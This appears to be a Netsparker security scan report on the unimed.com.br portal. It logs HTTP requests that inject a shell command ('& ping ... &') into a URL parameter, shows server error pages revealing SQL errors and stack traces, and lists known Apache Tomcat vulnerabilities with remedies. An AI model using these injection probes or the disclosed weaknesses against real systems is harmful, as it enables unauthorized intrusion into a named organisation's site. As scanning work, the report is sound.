GET /Comunicacao/detalhe.do?acao=inicial&cdComunicacao=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1 Referer: http://www.unimed.com.br/Comunicacao/busca.do Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=710CBF37322A9B4A56B96F96CAF25AE3.dcpr5034; JSESSIONID=19B6C6E1082BF10468FAF02C8120DAEF.dcpr5033; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Tue, 15 Nov 2011 17:13:55 GMT Server: Apache/2.2.15 (Red Hat) Content-Length: 3551 Connection: close Content-Type: text/html;charset=utf-8
<html><head><title>Apache Tomcat/5.5.9 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>javax.servlet.ServletException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"& ping -n 26 127.0.0.1 &' at line 1" org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:516) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:423) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>root cause</b> <pre>java.sql.SQLException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"& ping -n 26 127.0.0.1 &' at line 1" com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:1997) com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:1167) com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:1278) com.mysql.jdbc.MysqlIO.sqlQuery(MysqlIO.java:1224) com.mysql.jdbc.Connection.execSQL(Connection.java:2244) com.mysql.jdbc.Connection.execSQL(Connection.java:2192) com.mysql.jdbc.Statement.executeQuery(Statement.java:1163) org.jboss.resource.adapter.jdbc.WrappedStatement.executeQuery(WrappedStatement.java:208) br.com.unimed.portal.veiculocomunicacao.dao.ComunicacaoDAO.populaComunicacao(ComunicacaoDAO.java:459) br.com.unimed.portal.veiculocomunicacao.action.DetalheAction.execute(DetalheAction.java:28) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:421) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the Apache Tomcat/5.5.9 logs.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/5.5.9</h3></body></html>
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Remedy
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
GET /Comunicacao/detalhe.do?acao=inicial&cdComunicacao=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1 Referer: http://www.unimed.com.br/Comunicacao/busca.do Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=710CBF37322A9B4A56B96F96CAF25AE3.dcpr5034; JSESSIONID=19B6C6E1082BF10468FAF02C8120DAEF.dcpr5033; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Tue, 15 Nov 2011 17:13:55 GMT Server: Apache/2.2.15 (Red Hat) Content-Length: 3551 Connection: close Content-Type: text/html;charset=utf-8
<html><head><title>Apache Tomcat/5.5.9 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>javax.servlet.ServletException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"& ping -n 26 127.0.0.1 &' at line 1" org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:516) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:423) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>root cause</b> <pre>java.sql.SQLException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"& ping -n 26 127.0.0.1 &' at line 1" com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:1997) com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:1167) com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:1278) com.mysql.jdbc.MysqlIO.sqlQuery(MysqlIO.java:1224) com.mysql.jdbc.Connection.execSQL(Connection.java:2244) com.mysql.jdbc.Connection.execSQL(Connection.java:2192) com.mysql.jdbc.Statement.executeQuery(Statement.java:1163) org.jboss.resource.adapter.jdbc.WrappedStatement.executeQuery(WrappedStatement.java:208) br.com.unimed.portal.veiculocomunicacao.dao.ComunicacaoDAO.populaComunicacao(ComunicacaoDAO.java:459) br.com.unimed.portal.veiculocomunicacao.action.DetalheAction.execute(DetalheAction.java:28) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:421) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the Apache Tomcat/5.5.9 logs.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/5.5.9</h3></body></html>
Netsparker identified that the TRACE/TRACK method is allowed.
Impact
If the application is vulnerable to Cross-site Scripting and uses Http-Only Cookies then an attacker can bypass the Http-Only cookies limitation and read the cookies in an XSS attack.
Remedy
Disable this method in all production systems. Even though the application is not vulnerable to Cross-site Scripting a debugging feature such as TRACE/TRACK should not be required in a production system and therefore should be disabled.
GET /Comunicacao/detalhe.do?acao=inicial&cdComunicacao=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1 Referer: http://www.unimed.com.br/Comunicacao/busca.do Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=710CBF37322A9B4A56B96F96CAF25AE3.dcpr5034; JSESSIONID=19B6C6E1082BF10468FAF02C8120DAEF.dcpr5033; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Tue, 15 Nov 2011 17:13:55 GMT Server: Apache/2.2.15 (Red Hat) Content-Length: 3551 Connection: close Content-Type: text/html;charset=utf-8
<html><head><title>Apache Tomcat/5.5.9 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>javax.servlet.ServletException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"& ping -n 26 127.0.0.1 &' at line 1" org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:516) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:423) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>root cause</b> <pre>java.sql.SQLException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"& ping -n 26 127.0.0.1 &' at line 1" com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:1997) com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:1167) com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:1278) com.mysql.jdbc.MysqlIO.sqlQuery(MysqlIO.java:1224) com.mysql.jdbc.Connection.execSQL(Connection.java:2244) com.mysql.jdbc.Connection.execSQL(Connection.java:2192) com.mysql.jdbc.Statement.executeQuery(Statement.java:1163) org.jboss.resource.adapter.jdbc.WrappedStatement.executeQuery(WrappedStatement.java:208) br.com.unimed.portal.veiculocomunicacao.dao.ComunicacaoDAO.populaComunicacao(ComunicacaoDAO.java:459) br.com.unimed.portal.veiculocomunicacao.action.DetalheAction.execute(DetalheAction.java:28) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:421) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the Apache Tomcat/5.5.9 logs.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/5.5.9</h3></body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /pct/on this server.</p><hr><address>Apache/2.2.15 (Red Hat) Server at www.unimed.com.br Port 80</address></body></html>
This page allows users to upload files to the web server. Upload forms are generally dangerous unless they are coded with a great deal of care. This issue is reported for information only. If there is any other vulnerability identified regarding this resource Netsparker will report it as a separate issue.
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.
Impact
This issue is reported as additional information only. There is no direct impact arising from this issue.
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Remedy
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
GET /pct/comum/js/myJsEvents.js HTTP/1.1 Referer: http://www.unimed.com.br/pct/index.jsp?cd_canal=54593 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=F6B94AFF3B7F744646891E37E67ECF39.dcpr5033; JSESSIONID=67AD8B8C6A84DA8FB1B0210276158033.dcpr5034 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 15 Nov 2011 17:03:10 GMT Server: Apache/2.2.15 (Red Hat) Last-Modified: Thu, 19 Mar 2009 20:58:33 GMT ETag: "1ae401d-10a5-4657f1025b040" Accept-Ranges: bytes Content-Length: 4261 Connection: close Content-Type: text/javascript
/** * version 1.0 * Script JS para armazenamento * e execu��o de fun��es que necessitam * ser executadas ao carregar da pagina. * Ex.: onload s� pode receber 1 function. * Dynamix Software * Thyago Schleuss * thyago@dynamix.com.br */function MyJsEvents( _alertOnloadEvents ) { MyJsEvents.ONLOAD = "load"; MyJsEvents.ONUNLOAD = "unload"; var obj = this; var myList = new List(); // M�todo para inserir fun��es que // devem ser executadas ao carregar da pagina. // Public Method this.addOnLoadEvent = function( _aFunction ) { addEvent( _aFunction , MyJsEvents.ONLOAD ); } // M�todo para inserir fun��es que devem ser // executadas ao fechar a pagina. // Public Method this.addOnUnloadEvent = function( _aFunction ) { addEvent( _aFunction , MyJsEvents.ONUNLOAD ); } // M�todo que adiciona as fun��es e seus eventos // na lista. // Private Method var addEvent = function( _aFunction , _event ) { if( typeof ( _aFunction ) == "function" ) { myList.add( _aFunction , _event ); } else { alert("Par�metro 1 n�o � uma fun��o!"); } } // M�todo usado ap�s registrar todas as suas fun��es. // Responsavel por percorrer a lista de fun��es // adicionadas para adicionar ao respectivo listener // Public Method this.triggerEvent = function() { var nl = myList.getPrim(); while( nl != null ){ addToListener( nl.getInfo() , nl.getEvent() ); nl = nl.getProx(); } } // M�todo responsavel por registrar a fun��o na p�gina // de acordo com o evento especificado // Private Method var addToListener = function( _aFunction , _event ) { if ( window.addEventListener ) { window.addEventListener( _event , _aFunction , false ); } else if ( window.attachEvent ) { window.attachEvent( ( "on" + _event ) , _aFunction ); } } // Implementa��o da lista de fun��es // usada para armazenar as fun��es e // os eventos que devem dispara-las function List () { var prim = null; // M�todo para inserir fun��es // na lista // Public Method this.add = function( _obj , _event ){ var nl = new NoLista(); nl.setInfo( _obj ); nl.setEvent( _event ); nl.setProx( prim ); prim = nl; } // M�todo para verificar // se a lista esta vazia. // Public Method this.isEmpty = function(){ if( prim == null ){ return true; }else{ return false; } } // M�todo que procura uma // fun��o na lista, caso encontre // retorna a propria funcao // Public Method this.find = function( v ) { var nl = prim; while( nl != null ){ if( nl.getInfo() == v ){ return nl; } nl = nl.getProx(); } return null; } // M�todo que retorna o // tamanho da lista // Public Method this.size = function(){ var c = 0; var nl = prim; while( nl != null ){ c++; nl = nl.getProx(); } return c; } // M�todo que retorna a ultima fun��o // da lista // Public Method this.last = function(){ var nl = prim; var u = null; while( nl != null ){ if( nl.getProx() == null ){ u = nl; } nl = nl.getProx(); } return u; } // M�todo para remover uma fun��o da lista // Public Method this.remove = function( v ){ var ant = null; var p = prim; while( ( p != null ) && ( p.getInfo() != v ) ){ ant = p; p = p.getProx(); } if( p == null ){ return; } if( ant == null ){ prim = p.getProx(); }else{ ant.setProx( p.getProx() ); } } // M�todo que retorna o nodo // principal da lista // Public Method this.getPrim = function(){ return prim; } // M�todo para limpar a lista // Public Method this.clear = function(){ prim = null; } } // Nodos da lista. // Cada nodo � uma fun��o com // seu respectivo evento function NoLista() { var info = null; var event = null; var prox = null; this.getInfo = function() { return this.info; } this.setInfo = function( _info ) { this.info = _info; } this.getEvent = function() { return this.event; } this.setEvent = function( _event ) { this.event = _event; } this.getProx = function() { return this.prox; } this.setProx = function( _prox ) { this.prox = _prox; } this.toString = function(){ return this.info; } }}
Apache Tomcat Directory Listing Information Disclosure Vulnerability
Apache Tomcat allows remote attackers to list directories via a semicolon (;) preceding a filename with a mapped extension, as demonstrated by URLs ending with /;index.jsp and /;help.do.
Apache Tomcat Simultaneous Directory Listing Denial Of Service Vulnerability
Apache Tomcat allows remote attackers to cause a denial of service (CPU consumption) via a large number of simultaneous requests to list a web directory that has a large number of files.
Cross-site scripting (XSS) vulnerability in the calendar application example in Apache Tomcat 4.0.0 through 4.0.6, 4.1.0 through 4.1.31, 5.0.0 through 5.0.30, and 5.5.0 through 5.5.15 allows remote attackers to inject arbitrary web script or HTML via the time parameter to cal2.jsp and possibly unspecified other vectors.
Apache Tomcat SSL Anonymous Cipher Configuration Information Disclosure Vulnerability
The default SSL cipher configuration in Apache Tomcat 4.1.28 through 4.1.31, 5.0.0 through 5.0.30, and 5.5.0 through 5.5.17 uses certain insecure ciphers, including the anonymous cipher, which allows remote attackers to obtain sensitive information or have other, unspecified impacts.
Cross-site scripting (XSS) vulnerability in implicit-objects.jsp in Apache Tomcat 5.0.0 through 5.0.30 and 5.5.0 through 5.5.17 allows remote attackers to inject arbitrary web script or HTML via certain header values.
Apache Tomcat SingleSignOn Remote Information Disclosure Vulnerability
The SingleSignOn Valve (org.apache.catalina.authenticator.SingleSignOn) in Apache Tomcat does not set the secure flag for the JSESSIONIDSSO cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
Apache Tomcat Accept-Language Cross Site Scripting Vulnerability
Cross-site scripting (XSS) vulnerability in certain applications using Apache Tomcat allows remote attackers to inject arbitrary web script or HTML via crafted "Accept-Language headers that do not conform to RFC 2616".
Directory traversal vulnerability in Tomcat, when using certain proxy modules (mod_proxy, mod_rewrite, mod_jk), allows remote attackers to read arbitrary files via a .. (dot dot) sequence with combinations of (1) "/" (slash), (2) "\" (backslash), and (3) URL-encoded backslash (%5C) characters in the URL, which are valid separators in Tomcat but not in Apache.
Tomcat allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes Tomcat to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
Multiple cross-site scripting (XSS) vulnerabilities in the appdev/sample/web/hello.jsp example application in Tomcat 4.0.0 through 4.0.6, 4.1.0 through 4.1.36, 5.0.0 through 5.0.30, 5.5.0 through 5.5.23, and 6.0.0 through 6.0.10 allow remote attackers to inject arbitrary web script or HTML via the test parameter and unspecified vectors.
Apache Tomcat JSP Example Web Applications Cross Site Scripting Vulnerability
Multiple cross-site scripting (XSS) vulnerabilities in certain JSP files in the examples web application in Apache Tomcat 4.0.0 through 4.0.6, 4.1.0 through 4.1.36, 5.0.0 through 5.0.30, 5.5.0 through 5.5.24, and 6.0.0 through 6.0.13 allow remote attackers to inject arbitrary web script or HTML via the portion of the URI after the ';' character, as demonstrated by a URI containing a "snp/snoop.jsp;" sequence.
Multiple cross-site scripting (XSS) vulnerabilities in the Manager and Host Manager web applications in Apache Tomcat allow remote authenticated users to inject arbitrary web script or HTML via a parameter name to manager/html/upload, and other unspecified vectors.
Apache Tomcat Multiple Remote Information Disclosure Vulnerabilities
Apache Tomcat treats single quotes ("'") as delimiters in cookies, which might cause sensitive information such as session IDs to be leaked and allow remote attackers to conduct session hijacking attacks.
Apache Tomcat Host Manager Servlet Cross Site Scripting Vulnerability
Cross-site scripting (XSS) vulnerability in the Host Manager Servlet for Apache Tomcat allows remote attackers to inject arbitrary HTML and web script via crafted requests, as demonstrated using the aliases parameter to an html/add action.
Apache Tomcat Cookie Quote Handling Remote Information Disclosure Vulnerability
Apache Tomcat does not properly handle (1) double quote (") characters or (2) %5C (encoded backslash) sequences in a cookie value, which might cause sensitive information such as session IDs to be leaked to remote attackers and enable session hijacking attacks.This issue exists because of an incomplete fix for CVE-2007-3385.
Apache Tomcat JULI Logging Component Default Security Policy Vulnerability
The default catalina.policy in the JULI logging component in Apache Tomcat does not restrict certain permissions for web applications, which allows attackers to modify logging configuration options and overwrite arbitrary files, as demonstrated by changing the level, directory, and prefix attributes in the org.apache.juli.FileHandler handler.
Apache Tomcat WebDav Remote Information Disclosure Vulnerability
Absolute path traversal vulnerability in Apache Tomcat, under certain configurations, allows remote authenticated users to read arbitrary files via a WebDAV write request that specifies an entity with a SYSTEM tag.
Apache Tomcat 'HttpServletResponse.sendError()' Cross Site Scripting Vulnerability
Cross-site scripting (XSS) vulnerability in Apache Tomcat allows remote attackers to inject arbitrary web script or HTML via a crafted string that is used in the message argument to the HttpServletResponse.sendError method.
Apache Tomcat Host Manager Cross Site Scripting Vulnerability
Cross-site scripting (XSS) vulnerability in Apache Tomcat allows remote attackers to inject arbitrary web script or HTML via the name parameter (aka the hostname attribute) to host-manager/html/add.
Apache Tomcat 'RequestDispatcher' Information Disclosure Vulnerability
Apache Tomcat, when a RequestDispatcher is used, performs path normalization before removing the query string from the URI, which allows remote attackers to conduct directory traversal attacks and read arbitrary files via a .. (dot dot) in a request parameter.
Apache Tomcat 'RequestDispatcher' Information Disclosure Vulnerability
Apache Tomcat, and possibly earlier versions normalizes the target pathname before filtering the query string when using the RequestDispatcher method, which allows remote attackers to bypass intended access restrictions and conduct directory traversal attacks via .. (dot dot) sequences and the WEB-INF directory in a Request.
Apache Tomcat Java AJP Connector Invalid Header Denial of Service Vulnerability
Apache Tomcat, when the Java AJP connector and mod_jk load balancing are used, allows remote attackers to cause a denial of service (application outage) via a crafted request with invalid headers, related to temporary blocking of connectors that have encountered errors, as demonstrated by an error involving a malformed HTTP Host header.
Apache Tomcat Form Authentication Existing/Non-Existing Username Enumeration Weakness
Apache Tomcat, when FORM authentication is used, allows remote attackers to enumerate valid usernames via requests to /j_security_check with malformed URL encoding of passwords, related to improper error checking in the MemoryRealm, DataSourceRealm, and JDBCRealm authentication realms, as demonstrated by a % (percent) value for the j_password parameter.
Cross-site scripting (XSS) vulnerability in jsp/cal/cal2.jsp in the calendar application in the examples web application in Apache Tomcat allows remote attackers to inject arbitrary web script or HTML via the time parameter, related to "invalid HTML."
Apache Tomcat XML Parser Information Disclosure Vulnerability
Apache Tomcat permits web applications to replace an XML parser used for other web applications, which allows local users to read or modify the web.xml, context.xml, or tld files of arbitrary web applications via a crafted application that is loaded earlier than the target application.
Apache Tomcat WAR File Directory Traversal Vulnerability
Directory traversal vulnerability in Apache Tomcat allows remote attackers to create or overwrite arbitrary files via a .. (dot dot) in an entry in a WAR file, as demonstrated by a ../../bin/catalina.bat entry.
The autodeployment process in Apache Tomcat, when autoDeploy is enabled, deploys appBase files that remain from a failed undeploy, which might allow remote attackers to bypass intended authentication requirements via HTTP requests.
Apache Tomcat Host Working Directory WAR File Directory Traversal Vulnerability
Directory traversal vulnerability in Apache Tomcat allows remote attackers to delete work-directory files via directory traversal sequences in a WAR filename, as demonstrated by the ...war filename.
Apache Tomcat Windows Installer Insecure Password Vulnerability
The Windows installer for Apache Tomcat, and possibly earlier versions uses a blank default password for the administrative user, which allows remote attackers to gain privileges.
Apache Tomcat, when running within a SecurityManager, does not make the ServletContext attribute read-only, which allows local web applications to read or write files outside of the intended working directory, as demonstrated using a directory traversal attack.
Apache Tomcat 'Transfer-Encoding' Information Disclosure and Denial Of Service Vulnerabilities
Apache Tomcat does not properly handle an invalid Transfer-Encoding header, which allows remote attackers to cause a denial of service (application outage) or obtain sensitive information via a crafted header that interferes with "recycling of a buffer."
Apache Tomcat Authentication Header Realm Name Information Disclosure Vulnerability
Apache Tomcat might allow remote attackers to discover the server's hostname or IP address by sending a request for a resource that requires BASIC or DIGEST authentication, and then reading the realm field in the WWW-Authenticate header in the reply.
Apache Tomcat HTML Manager Interface HTML Injection Vulnerability
Multiple cross-site scripting (XSS) vulnerabilities in the HTML Manager Interface in Apache Tomcat allow remote attackers to inject arbitrary web script or HTML, as demonstrated via the display-name tag.
GET /Comunicacao/detalhe.do?acao=inicial&cdComunicacao=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1 Referer: http://www.unimed.com.br/Comunicacao/busca.do Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=710CBF37322A9B4A56B96F96CAF25AE3.dcpr5034; JSESSIONID=19B6C6E1082BF10468FAF02C8120DAEF.dcpr5033; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Tue, 15 Nov 2011 17:13:55 GMT Server: Apache/2.2.15 (Red Hat) Content-Length: 3551 Connection: close Content-Type: text/html;charset=utf-8
<html><head><title>Apache Tomcat/5.5.9 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>javax.servlet.ServletException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"& ping -n 26 127.0.0.1 &' at line 1" org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:516) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:423) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>root cause</b> <pre>java.sql.SQLException: Syntax error or access violation message from server: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"& ping -n 26 127.0.0.1 &' at line 1" com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:1997) com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:1167) com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:1278) com.mysql.jdbc.MysqlIO.sqlQuery(MysqlIO.java:1224) com.mysql.jdbc.Connection.execSQL(Connection.java:2244) com.mysql.jdbc.Connection.execSQL(Connection.java:2192) com.mysql.jdbc.Statement.executeQuery(Statement.java:1163) org.jboss.resource.adapter.jdbc.WrappedStatement.executeQuery(WrappedStatement.java:208) br.com.unimed.portal.veiculocomunicacao.dao.ComunicacaoDAO.populaComunicacao(ComunicacaoDAO.java:459) br.com.unimed.portal.veiculocomunicacao.action.DetalheAction.execute(DetalheAction.java:28) org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:421) org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:226) 